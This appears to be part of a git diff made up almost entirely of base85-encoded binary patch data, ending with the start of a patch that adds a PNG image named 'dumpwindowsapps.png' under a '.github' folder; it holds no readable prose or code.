zbCjg&MLG3sK9%PVq!)|1r8vk8Z#+l6=4UPTDXw5~Dp(5%nmUREP z9)HwG;{Ka6I_&eA;I>E7-7_rR2KsN}QnYy^_dqq^K?m1{XX3R`wi)SefWtAuAvx7G1s7tCVNbnyEb8Tu0QJ= zSk{*61h6^}vJpGT&M#OrI$Ezx&JWd~SzY;Xclr+_O$s|2;MI+Jr$rk)92e&mL5uns~xu8mf70r6(-E&3gN_EM~AYB1gd zg{N zYaNp>r)!wF&E_{tnr84UQ>$`jI!&`{lry2!dfY&evnl7fk4k{Gn{I-&jV{xWJ@_mu z=b$Lfas&a^1=!RDM|RicmeFB_R5%bdqC(|HIZ`*c?5sa>_e$(4-_eQs&>e8>XQ3Ft zxP+~fVEuCz1B&h~d0Uu|!vOC}>=4xyEegNoPLg%mPA2ZjWc8PaN(AM_77B6i_?88t zM>;1BenxIm92)c?)5b)lik7GBuXw@Kz7>{_kZc*Ac9DhjhpM(-)}Q@DjI|87sqzg> z@fdSO2tLU|-&e7dg7(btGYkIjV`Y{80;Kg(M3;VxBa5y_$Z zf~j?5Gon2!<_e{7)}(M&I$Fq36)(QMw37?uf_x#luFA4Tfv(MK&57z$7~Ik0TI@3R^FC>E z3^{gpCqmI@D(=}mwj8N%_pt+fNZAwoy&eO5m--)}I;AtY%nf`N+enC&(#@97{ZDgG z+!Eh%3E0PMI-zlkD%2P8AJG9#!&1AxeIcl*gxs?5c^Fm|L*}WQ z(t@Uh?WlzO{+lL^$k-CwlFVEW6VTun(SVzP1Mk*+uz$?T zao_}oW`>x+)VWjeR$6Ac)$D+h%f@qMU$|n3%XMtzRd8Sw_OVlKEzg@H8J$o_{N42# z5`P!E_IARST`KSx^HKIwCw~^jJg?gq*2L>EFnnDI?@i}xAp10Fm1Ws`rh*=^&feNd z=n}wsi`~E&P%5)_6w=+Hdxr=;hAmegTt4-s2qN?1OGrg1h%2bXrI*fskrg)&Z19A) z!8Wd7Cz2K;t%7$WXRP(Kl_#!ak@&MKH166^J#Iwo&Yuj$BIG+e3v2T>3bwnNZxLS# z<=VEu`h1}iHw%y6bS<=E;kc1i>w*{ljqYvtrv@I`>EajKxhjQr)T1 zpTlw@q~YW*^`$v^s-Aig9sBno(|>?;{%xq`-w}8I|MVB%T=nlRo+@e(HYoU7N+ESg z8XyZN!eej4EjJ}qzM>YK>aJyKEWbMX22_kU-XSkzAG^)g$OcdkCxb(mnVcB+fD|X!-+{J}kl#9Z4ljCtQ8ezDGcsv(J zzwt!h|FP9wrm8t$K7JK3H#bK-<)r)I@jxQVu>Hp_^o-stN`tO9EivLduJ$uCp`zaj166AX6~PV)BZm9KkT-a(B$XI zc!NrLs~U+G?0&|uhhbeu1FSCM3fDC$DW*UWvf*lhi_dhR6tuR&Q1tqDLpZf>NiHsY z52-=UdaA)$1PPEm=!~932Va12NlqvUvlS8Ke z?7ba*NJB!`hy>VM|4BrLk}TsYYeJSQKx%d*~-RO?}0&t0oU7U)M1D=FM#uRHBc<)@>Rdy-h(w|AdDI)xM&0roT#9Kl+L^ z`x5waxl67-n#!l^fG0Wo)dw>mXOf;+w0+-h8dMj`N-6`Xrhd0lqdBJbBb)v|)aIZAQgjpwf>Iu8U(b(WZM#T+c18-{aNnmj#HmsEc0gYwHB`?2bq&QJS2t zlR*3f`2=ns1};&mIa47nde5=08ny6I$)^QGm6ml!GE?|;Mx8n5bjiHB`(m56C5)k^ z5`MC$HJ&N_Hb77*-uNy;+O{}+#&!mJrSB57dYuo6{NG2i`$Dl2M5=M^Slvm;6U&a| zftQ|^#s8Z6_}Oht^hXQ*xkN>3-+HSLGV(Jf6|8*u_p~9#eYG>!(ZffV7Zk1;P#7~A zKKL%YK@ptj4#9-Ny?ptzsMxl87z^HQVc@Q?Hf9>`=hroeQ<)j+;w=I2(#6D!%*qb+ zXWq~`(|N(XJB#zm%7bv?D_joC1V6)q?lpfDt#e**QOlQ{-x^x@m5EU~zJ))+`-1Mn z+pUm^M0PjA5D-=Wktjd6f`Jg(lil$rf-l&~MF`fa6>lszd~7l-Ajtc-g0-t9+3{R{ zubuCjqkv7ht@2+lU+#j^+{Nl=G+)uQTfrp};T?sZGg2C>>r3VK99Li)lfIf4z1e0t zl%luGX+G0sOtS+KR96?QCL-$xYztzZZ8i`$nf{>{n{glgHFjz_QQLF}Zh5yGDKp}Z z)KhfI4S`uzB9;ZQ(?cQ)c43pZZxwC&;+gQwUf}3=&{bS z&?X6KCm52U(a>XFLj28kbPzNZTLQCK#a=GyuLxf&#xi<;ju=t9d^I9{3CN5e&#|?m z-?a^_e0X|LxPH~9y}&Z%)|qy2_u3&rvo2>nN?$(M7Ehi+;a8d#xlA{!gjkUl!2`7AT;H-;FH8i~lFC4}O)Ie|lz?P4f>y0S2da`v#4 zD$=uwWTVGDaFJOhFk(!;rSqeyB6)&^R}3+(+z@D7)Ft>&n+a>>B{CJe8q)J zS9N?DmV*ISI!-^z!XBBvsTV0Iu2`jojg?`7%A@b1#-|^hGFI$lqH_1t1XC!0FPuVH ziUW0zTi(XG9iYCKDIyR+tw_Z0;+Ao#6?-Yq*@+PH;&v+VfWtF9P`nT#Hw=rghGJD&EzSq+5UY*;R*MXbZilpEiENwdb9BY^52h;kF>k{6Lzi!F2aM!XOT2ECc#;_fTOvaB9A1jL%? zvRu+bj?Fj9)Jk3nFv)r*G;M$X^4D8o%q5z>=-v=eSr?0 zsXClzhL4%&lX-%)0cYdO==nOgTiSHw9N`YWP!6gk_H4A~^}IMMPe)?;Ce?^{X8Xh@ z%Z&Ot^j!DJ9LdlReoYnyMlH+a1J5^vb{p^N#dY#Do=(XiU&XD1C-JpSAY7A%&-jv3 zv#?*Ri|}A~my6b0e|)%zhqZ72dvW81`*+H1_jI4%ycFLdAUkSIE)Rl(CK8O-&a=C3@QXVO_rmE{NBNou#h}zaXk4H~)Bd*S4 z``4~ZGQ5YZqn+VhpD0uRI~zd;v<09InYHg|M_o1M+9r#Ky&-AJYA##=xo1X3kc!v_81rw+WaHkICJ=YI197{Yj*y3UR4D^Ybe{ zoA;FFVY7cYE=4BJ{KY_e{_B7LeVgDvIH}J895hwjZ6!7K?R+;es#r{A@l($$mD|2E z9>=DV;B8Ctyc98*QRIVB8QL@vtE65rck=YskY4WpCM{2M?9|-An~Tf3xJG=o(b)>i zLk*s)1E=MJ1ZqPQ9OezakFHj|NEQHD`PFeem?8UJzpD2ysWRnjylM`gUc!S)nnqz? z;|aQJ+$%p>e&?xd*)ss~4DG(WvR)7zi6t$If~A~88-1WtK4$}#2|DAb;0QY10E2{H z8IPGhRfp?_GeNf;oEq!I@YX({LDhC?L1h-Wn3&0W}S=lKe z2Rr>pLcJh(b~>AT?mH#W{sTq?w)hnDvm0D`35O^7)HGh?tlvpI=S@B(WLzc}{j(ba zOoqC;x-+=t=5RD5JH2*J1FSV|ZzX<-*qRb1i&-nMy{M%mQwBMc;bkGZni@E81;eL1 z##Six%;(m3N4R+Nw`Dvd9lf?Orr~=JUv04hI^*}%rz<=`$hR##aF>Ee3=7u$_TytF z^DzgCB(x9eM%N4V!cDp~VZ70)o;iZY+WXyuQouiD$lK)4PmE^;K648Y8qv@N?H-J& zp`WAs1oEZ}!hutX6mmpT-ZcGyvB?}`KkH;>aW+|zPtEeMe9LdP0TL4$Z{YB_B{^YY z_)V371eJ+Z%=;ebL`pXCd3!(m#v>jTnl#rx5l5ttgxHTRIcqN=Q)t_>UJPxDw|`>N zfFQ(<8fu6eyf*X|8!)vO1LiW-^7tmcH)GGY0rc2BXTEP(2p+I0^D9lRYfkZVg}{qQ z7RDQ26A(@D2@46mK%)8%Zlb_2oOM5*4%rz9`wgYHamjlZyo?rO5?GDDWURV5@Dmt_ ze~^VyPg1xNdEe74T6)YV+d}PBwXTIL$bD{E_&TAX<*?DeL|$+X&7fBXS+(=+3^`HN zVnPkd>wo+v=>KtKC>Bh7RJcW|K+F%2oXy2bSJKexKvC%KrS$ab<^|IPOzN@QR@a>q zm~E}HM??2z7BgzFHmg8*9Ql$L=Pl++$JMyqNPLi0X`W{%L7_A9e)CX_jj^6%jrJkx z+ftvH?#&$Ivi5Fet(w?d&xP$@J*q~oK3q<~EHi|v-0Mvmc=Mf1wGM~`!$(ippT!%$ zcG>X-=hPM0W`=tbp`d+N?9R%4Xbug+_|*&mGDxIz0l$FcgD}JKq35@c)h@(bMG1Wr z63B|5jEacR8dYb^dud{_F#4?``VVOZUs&vz7LUM}9DcsEmQgSON%o{!k)-_(gQKhu z4JHKoc&fr}8F=mLQN}wC~uWYm=o~o zPZaT{)o+t#F(b)!|K$ih?X7* zN_pIusDYJlw+&+@j-JUbO#aJ@!dkLG>{{|y)xj;2RSolwviUzah3a0ON~Sx2A^V(a zNmSVGMeKzIbM5Q?B5BC>Nu=33DwKjz9wNK(6u>BT%Q!hl72e;x7>~lwMyNHwFJ*kK1hd9EFscNEdJ94WOGwfJA)X5er68tz@4!H5oNbwAf zW=(9*-obLD<)UQtO7;`=UZkz$yF0thK>D$YUOB$ioYU!OX8-U-lk(@cdA`?H)5jTT ztDdT)$#OfQ^G*);H0cZI%z3lOB&A+7+?dHWQcaUGceX4`Sx??-;~k-#i!~?CIFQos zdw`+AZB4)j13|)AyrKc+WJ_89K*zu%9@^`)2J)sxn&eftMptiMVNpc7Ia5Q$+=_YF z687Pq3|z{CZ{ZYx5^|QzEE)EnWhtAj=Cn2PXH7!*fWz@q#+ z5wScJkAFz*hFvW`p>qC-LrIyJ_UMi_NQHUvXsyVkUG) z`cX75^3Z<__#J7DQgFYOW!)NlKHx|~QQ%0OVvhIB#cfjC=V}ae@&>|)3k1nd(8wI! zO5fSjk1G$K4&J(0;QZjtQG@IW<@kA%tNHWC+hK8}#_AeB5e`mqcpiyiE^Enz4Q1rm zc=Pqw%YXQbYoElg;JmM+j4_^S=mF7d(y9Zict6vsrH-&;H}bNdBA*ZH;bnSdf6>i#IQd()P;% zkF>Z_4sf$f$&r?tp3@x)2hU(d@coO~2@aW83te9AYmh|Hvv#1+L8k9#eK~M1#9WhA z>xX>`UVcBAES}(*m3#ZpL!mC1xWyCo(^iM}3u8%}{ZC;u^gr8Rw^CIPR7Pp~<4^(^ zzyv%XWeEOth(@&gry&)R_nxP0qWh8~CwhwW^`U_SjS{NoJ;}WD6PCKvN{S8P8NkL_ zcP6=+^QWo{p`9y$wt#-R{v1(Vsj zL*AbwrcX0<)zS=Cs7dvhO+Y{(!L|diEIrV88iFy&_P+e+F7>FHdcckcvqWz-K?=>zg(UL*5(N7*AXtbM0h?L9M)+20} zm?Nk6)*~=>#JsroI#_315Synf49q*KSsWm&VY#~uf;uf9v;@g8>)q4kwsZU%Qr`Hc zXt`3>Lbt6w?wh@M-j#r%ehUlbpevw7{~n-OlrU@x)h zV6PWl4u-2jJx|C8p70&vdm7pHUaFh&=al_Fq)cgbA2?|X87s7%%n%b`@~Tglf}7wY z8OgRo81MT(v8EpWC)O0hKUh@t9VM*)N*Gv5yKO9r<&|UyTRWOw2^Tln5oI1bq-GPkxUhQ+udO zyipAzVX2?e?`=XAFAZvbc&;$DHNGMe%Cug6XxRLvpMSXCUwuQ)-x4kpWDW|?uPZXl zLRNdnjC3~pAe+V!EZko!C7ADnr>WQr+A-u|2{`=)F;h2zJ;W$`4NgHru&q%SUce*L z18b_0r58Ph?mZEnI3hR|d$u#lJxh6HOb?-@?ev}2Fm@I2&x2|8 zCTEJ$*f4hXnk(Oky&&H_v|O)FN26RKLh@`6rEMUqIY^C*@;D4sXWjDfZFh#V%nhlV zmZ0_=+j0+|Xx(D+(;b0PP5~JR@RJO08;&}5?PGkp9#Nq z5lpih5ijK#o9|!!(?DnGl98t@+|cg@Kvy@+k0xKml7+l7IgifpL| zTKNA4cDdIe5P>H_X!(1!F9?rQ30_laE7fh{Cp$3;UK9lGWpV$XU6)B! ztAu2L>qdX$ecbB|G{ z)P?Vt8-9vw){5wFY?D_eqjK=zTd>`j^oWAuyaz zW6x^CJ`gFPoKY+Ac|k&d$C`N}2=0sW&0N1M{$M6DFn!`M{2W&ZD?K0}-r=#|WA!%J zc_q0Gu*w#ZvyC-pUK)%rqTWkdw>Pd=E3-1ZQ_vp0Q+La^sPjtp%QMQ9vd5L(&SpeUWh5-sCCE#`IKoq*W)dj~a<`Bfs4 zU3KkQoNoD9eS1tJ9-lqLOAsF*pIYI#DxTX)Vud7D4+dZ1IlYD3%?ikO~Xb+i=o zfb{a}M27ef&%b1x)jpsk_ml#OZMRvnU@e8 zz}^TQdO{UqUdhH}%KM+9)r;g~m{)KBfEwEGP=iyz2|L_kw=R?OnnNx2K}lLut* zGd$Kw$F@j5;YBc+q82#NK)w8jaL3nXxV70q#J>Ko1x*FK3RAGDX!7*gZqHwY8=ZRw z{7Vnnj2vLC!rhsv3#$6CbEro-`h4tzqUaax#_vCfp!eBc>GEuSxHVcyMt%$&`9$4R z>U88l4I~YSu+yd+{MwU?uxJ{o2_sH_xd?ZE4=~WUOIWG*PKquv8tWT|x6K7Kr#;ou zfN&R+LdN%MnbQ9SELaF)62Tj>LqfUuUff+74YC*Pp>^(i8^{s#`>Cy!@*suy-Tf^*=OB*9ATTYuV_T6M9Pt6@(T zhWOL5svsYJI-M|7ck^KCn)lb=O0qaKG11?%EknIVUp?|aJ@Q*K#;R*8X~PUKm0yz& zZLOjN=#*qxlfEA2pi}sDXunXsc7u9o+kLZIws96AjBA`%9xh@BH{PZxz_#Wq2nequ zd{09kK=kj+{z?*jyUDV8KAw8vSutP*8yfdVI}PyLbqxNm3{EDPt#9t{Ly4=96+bi6ivB=d9H(MCQWb+sKfj2kIBozPA&b&S%Zy3!f0jOVoQ4T+=-5Sp82mLE45k} z`9EeylaSP9)0@g&R^@lL&Kjk7kQ}$cVh9cowZx0J@NZq>tNY;ai_!Q^kO<$DXf91~F)}GJY=c z0XU|#EihC)IJB?fTULQrHi9|z!cO!2eo`OpPlVzU2+fdJ(U|$bMV%5O3k15UYiin1 zp_n^;D@AZ3xj{en{;N725t%4X07AQcOu1oR)sS23w;x!9Yp7p(Keto^;8YtrX*TO~ zq8rT#^KraZWRKxlFw7t_(M`YH~FW0Tn$~ox;BB?7H+$k4d)B)26bOE#L_1p6j0$%@89aw?R_tX4)*EqpcFQ z$92Ob1z8#ua5{ob_-UdeFq@~4VY78}(i2WOkIdrL@l+zA+)67C1NFEwNLn9}po{@n z(|VxS?*?toW_oFoz}l#VK>X~!y}pb@UMix;LuvXf(d3veNa*FxqSj~VWnXQ;gj&2y z3K~#=Qak6HRM2wz!uj-F5;IpPkP?YNTVYlble_mjme460Rj@cOHw1E+-Zh1oJ+Rm% zeTS^?yp%6%I5V)D*5;zhUCM!sY`Y4fB8v)Z(E5A8=Mgi$y!^C$dG``xn-$C`Y4(93 zwjDHFTW^?W=ZIG?IRW}|qvYT%D(g3s5RYH);L|vxpn*`Dh{QF-5RAHv^lZq!p2iVr z5RV#eu$6a%&0r7!c=vh@KQH4DQRD<4vL?<<4d7H+3?OLa+Xx7_nC-8O!GREBA;t~A znlnh@xwArOm>)EpXXbLC9e#H-zV3UTZJa(p8eZN!rXRVzUsX|a1sH?RI3@00OE#k8 z`lf0pEnaEu9|r{s{)e_JrNn^HH!4%fVbr^BX7^nr4=Ln4bA9z(B5;jaY3O*@H>E!0 zQ*c2TIm1oYXomM}V%mu~%$FP+Ou;;bv>Y*wT6wB^BFYm>L{2;BPQR>?#u(P1I$_(D z{S|*r-7r+x@V8V11&&= z$AyZGI;r%H2?K^DnT0n1_c8%{#Y9c&GO{T4sUVj1rhgfAs|eisx~JG5h25mRlO_GW ze)TPYg;xsY<{QN$7p=PsKIWn)W_B6+zRG$TO?HIKB(L1;I5;}(0nw%Izf;uC(?L^X zMw>%~iF;tjP@RLQXY!|p!p6M*|F zooy%fEUl-1r#CDu@pQ0h9_q3TN9_Meui+pR(4|u}dtIyk%x_LtQk~>o?SKA-r+45R z1RZ?*g+h`b_x$OXHv0rjxj7E`KY_1+?t?4L3Oj2wOwan?@V7P+UrvK~JRL{46zoBX zQ}01G3AMbS(j;z~Q<`Tc64wm=hLWfT4~GN0A2(s}Zq&`ZU=&XQNlZO&XsntHwGI9B z$vf!TH<$B{3U#bj)kqb%g`*_a)`fGt>n*&b`k|g=3>8zo4%9@ z<1W%n06RM9vR3liog4tpG`FKxxP8|j$rmxtUu5ll4u-6h4tVX%3;PF~0|LYlVPx<^ z%#jXyXTc&-UXUg#1?!B|Zg#|(s`R?pL@JivbnRfWu)g=Y|_)R*x}^BvJehJsIS2qf+^lvybSKs zDpW96yF-tyR!7DM!|_Egvrh~;jLfzCUUW~8@yg4-mcPJU(S3(5;d;zybZ;!H+T?As z>R_@H33SjNx)Y9<9w#m_)^MKNd5>0J+f2u&WBtQ5CFF}|OA+*1TS3*2?)bU#;~;Eb zX`VZhIs7OUxYx7(s8H&=Ujl5bVY;ACk7b!yk2tX&Q2zq%*1Ijp73|JHfysqUQF-d| zf{S;7<~VuZu&C?ro!u6Z>$BG{A{Qq&5V^F9XjWw(XO*B?{vvXPUE1907dbQ-MhzSM zHiesTAfth1 z`^V1%E}PJ;P{AAW&3PJmz;}yEUVq5t+vp5*}Bc%aCB{2-3%aE*7b z=!qEHSF`u&T5dx8%=4IIyID$$Paz;KR<7pHUqm;)n}+HJ?sTCi5pL8E9Wuf33=K9} z{yBQGb}=Z3o}+W7$9-cc@~PSO zOdJrn9LPzw<*;qr$}_}gYONtRIHQ8x)}snj!T-wJT2}P9c?NY;oY`z%Dal()(jjEMmWBK3j+$05 za@fX6e|b&(vuxzFW?`~`FkW1}Y9KmvKqkFlk&IW&^IJ@YkgHr};6P1O!^dggS`#C* zyo^Uqs3^K?MAGX1i=?6Kw$nwyjv$9yVMNmTq!AE zZOcF=_uY^+Pv7goe^;+C?`++#b`WHY!(Qqme-&SEY_Fve%cB`+Fr;iOK|H`}0KL}F zL<;JM9#1UW2O+Ur3OY}UuY;iX(ROVxOhZ!`30-$N8(DE?qO)_2MI0xVuuQaq^=1X6 zPHUoP$$zY}@WxO;ZJI|Qr;k&Tm-!-P_QfIeq()tgMVawKwUqt*3vMX7!I z)2usb+d<5xyYZ7R0>7RLT!9_Z;pbpAaXz?DI|>|4;}Q@&7+@_vsNwmoih%r*teap} zX0)eO_Ji1vK(2ULO4vT(zx=%oL=`j1Aa?SzJ#mhx0SX@M)lVcDV17j18#qZkoy~ z@k%U>DTz-Fvg)@s?Dykbt=h`2dsx|?np@& z*ShZbVqCjTWO21h`ZgrF3^t zQFWAiSbUQ04FK0gSo&mIkYTEPgO%^&lzj{zmbu8N3Wo0tt$)1zN&>Q2=c@MbGD5be z@I4qRj_^ap0IjlVjvWLB%3`S+^+J2N+uy*K_4)DM9l;YH8P;GKIhX3$P$2|%BP2aI z7>l$2JPy1US_Ajt=htThV$6;*@B1KXq1~`KnCzmj?LSf|w)m#BuKg=3e*#5`z`Kodysa5;fi!%_Fko8jDz!O z*p&vatNOZqxrX$QwNUxC!&pJFv@&a7t>Z~PaP8!+N1R(>sN%k z>L#G0o>;hh1j@zh{Zp}U9^vDa3?b|3=7eliXzVeqyLrFl-9ABo5l@JeXNrA;>{G+t z67bbfdDda4Xe*En8OhF0iZT6*&ikvS)feF6y6wJw$Y*({cA9uc&)b2>k$p+6p~N?a zcj-GJ$O@EKt8qmdG92Ut$x!ywmBB`AW8W?~ytgE)6Ys8MPWj@WSOHRbzf+0c~60f4nJVLwl zdd~+R);I9agpYjp6viNC?s=Y17E&QeEQ$^;nB{pX*1LmEF~IdSs>A0-zQbm{ zl>8THOg7Ysc8~g?_pJw0S@OlTPY!luIKAW(kTMIBE}ZW$0R!TBm)rX`K4_TKFFp{W z7mGLZJzHUR&TL6eY`4qag&0=#=mJlc22J^%u~DND7Bgh{Y}fwhncHSB3iCSf7ug6l zuO|irZ}mF@v#B+-FHFR{>@d|MOmh^w>R8IxbG@#}Q<)fQK!gyjXT0j8iJ{N7z8)JZ zLo9X;ITIR{j@8OOIVxT+Y!-VVQ9KT|%a!B9Ow)0^u!v#41TK0v=R^m7(O{rMlN##l zg^nM4@V4uoBw)w-Ny=TALXv&+92dEJEyVgpg}e3wnLa`oZA%_Ji3S;@r6mtrv-WK| z@It%ssEJG%8B+18+^+=FxPIk?Y!bQxs zT-O|!6_ooU>1M<#iMknBY0>RlKzEm2aZ^H1efAyCsXJx63^%vuUb?EyU%SYm8A#9V z@k#7$NrIU9)l-TqRqHYM1`+@ZW@F6j#to5RXsZ)=dGn6A!t7{k_cC2NIN|fmDd#?OklTT|%@YF5W+o8=*Q`eXwOO0Y*iRo&LAN(O| z^*LA6_k@&?jELO|01Rz=XC%Ld1X;?o9FJOxAgEJS#X@g$|8Dq~^=KZ$?7A31ha!#^ znDh-toaWQfh2C|?Gdekd=rbluySJ!GQNcGzRu37LD`@6Tg%?EDW7I*@ZV0noj8WYK$ANz$BJz9F`Sp*% z?*x_fOJ`)hTXgE0sHoKnGU1*1vq;wsj3$yE$}J~C`w~_WDnxr5)V)+-8dfG-JukGc z(;hW2e+JgmO97Cy&+xt@QRQ6iGbp|5e%!F{90*{N&s724(NsdtGzRi zhdTe`xE!&G)$OQ8&IluR-3&TJ%2BlAEa%D**3pC^a+pC0}gkMDdxpZD>4JzwC9m>&R{u>gy@lF`h= zdx`TnQYrrcmX+Tt6bHV7`zEo0(RBztBBu9CD<~DU3Exu+i z9cq>rjwAqV_3F2j_N*NZ`8qy&Z*L$89!$6Wq;(O&EB}o!3t}<5;|YFhEJ=~z*D3|R zY>@u2dq@p?M?X|^w|h#NoN%*OmSGvjuNp<^SM15*mJey_geUOC=k-p*r&n$N%GI4J zQur)|cZTWt{#$LskAtTQvH4RJejk48hP%`I2;D>;T&^h{{)eOIS(1Q)Y zvyna%T__UHs~1iDR#~EE_(c@zpm8Tymzd(Diq3XIbS2lGyK*QgHmf7=(a~!IXgky(* zDp3v8I9f*{1RnVx>HUjdHuNY7w>s;7=+Md#&Gy%du&<6op+AYF&SMVlJW@W`XpLu& zcINqZH6aNdaZ2N!`VEic;6+5#EFM*5@YN49o4E0FZI#u12ZXK7QuZlGrPV7tdTJ_mUo`eHH zRh%I~@o)yB&^}9Z5{f>cMt+NTTwSw}b-?SmpQuR|rfR8Of7gHzmy!CH1WGNf;XhED zHNx;x&uD~@$ir%V^K4HVmjg*qlC8fP#L6Y&{iv{4Pa9}JVi4h!54O5;%2hXVys;p@M}&8l)j69(+Z66H)33t>d4@Yvzmzw$a1a? z34-NVxT*ss5RyoWe1Y?kSGfOw1E6VKfYo?~hTuQk=)$7Ve9-}F?}7D%nCE9}%X0|r zZg=3yVjHGv$=DgY0C{=-`Z_iWb>_s5u5`*8<#@9A2M|q;006gfTaH{>jzi}IK)(fps}yy92&uFE&z&tFhs608Whz2lI(>Itxx=&Xc%EY44*n8 zjTRo62F*n^x?%Bw=~B=G8d7@J!R0r&3>m!R2#uq}73RAj>0+wnc4*-cNsrJUu@63{p1sjy$7`wtTy?!78tVq3+u!>&W$sw$1J zKSN6t`1Z6K-0f%kiOov0mS5j1IVe%=hP15{%i9dZj;gDpu39*7HJV|Ngz`qUH_NIH zHozUV$+7p6mXKL=1gbOSc%nM5->Bz$>Na`Judi&jcAe(iL<4WBWrS5z{5NfVa5UKe=q@vZ3;RQv?pbrVPJglRy_J~r@nURCqKjHm$V78I`jah+64*o;Ij` zYE|gv3VB8T#6w@ro~cHsx!I4z+5Gz&tRo8hk#(|ai%9VUte5Mh&G@a)@5JBIU!w!A zX=e2seB_1qp_C|2^_|wcfwxIWca24pRc%5Jzf{meD>gOM9n!Xwc_@gw8=RN_N9!VI zkS&;DC2bORJKeDszg=h1PyDS^)O@GwUe&Ehecgl7$ z5rBdMXC4p#?Juc-{FaH`vftbEmu*o7mXZVe3pAjty_kBFI-ev_ra{X&RfQ7#IAx#9 z+NPH!8EQJ@?i&0yK1)TVD`+m|`iuD_*%1e$WL&Ue=Lyc2!s1-FMh*W1{+$rkCDb~S z^656j-nYf3!$nsMXL&6YMf_*bs z@5z-%O?fd7gSpNf89?dcC_)41&Ac}NjWf7GdiEY{?>(IF?KeuZ)2fZE_Mnx@f5eFVqHiwgYf8T1bWCb z*Nk#ITa=z-(-=?{7aGqb{JavlTfaV%!fIOnuB?oYkCt2J$0iau*bTjuD#f@ukk!)` z4C?NjUk68{5F}2~W;j=d3_z8U(gYb(|$5REQmmZi93_>qmQBW9M{z&Sh(of;Zgo9Zub;r-#3E`C}% zmt%#JNwZgIHw+$05=fA~EfY6Uh6B*^{Z)p;!1u(Pla7*371S9gcj}dc(NIn7$}9lF z@=Yn-;6m^LGz(zCaV)>+fqg+hB(p9#%ZLb=sA;{~M6;(C{T22cUPT9-4y(r2uz|BA zW=r2%Fv!iA@o~&I&$a);mixk%1AE;Uw%ixC-2cIrdsefKa=F#(VVA@Z;DI0WW2cXj IOwY&u3!J3(-2eap diff --git a/.github/dumpwindowsapps.png b/.github/dumpwindowsapps.png new file mode 100644 index 0000000000000000000000000000000000000000..40ce1e73004f8f5ec711ea480ec4cd978f0297dd GIT binary patch literal 55254 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 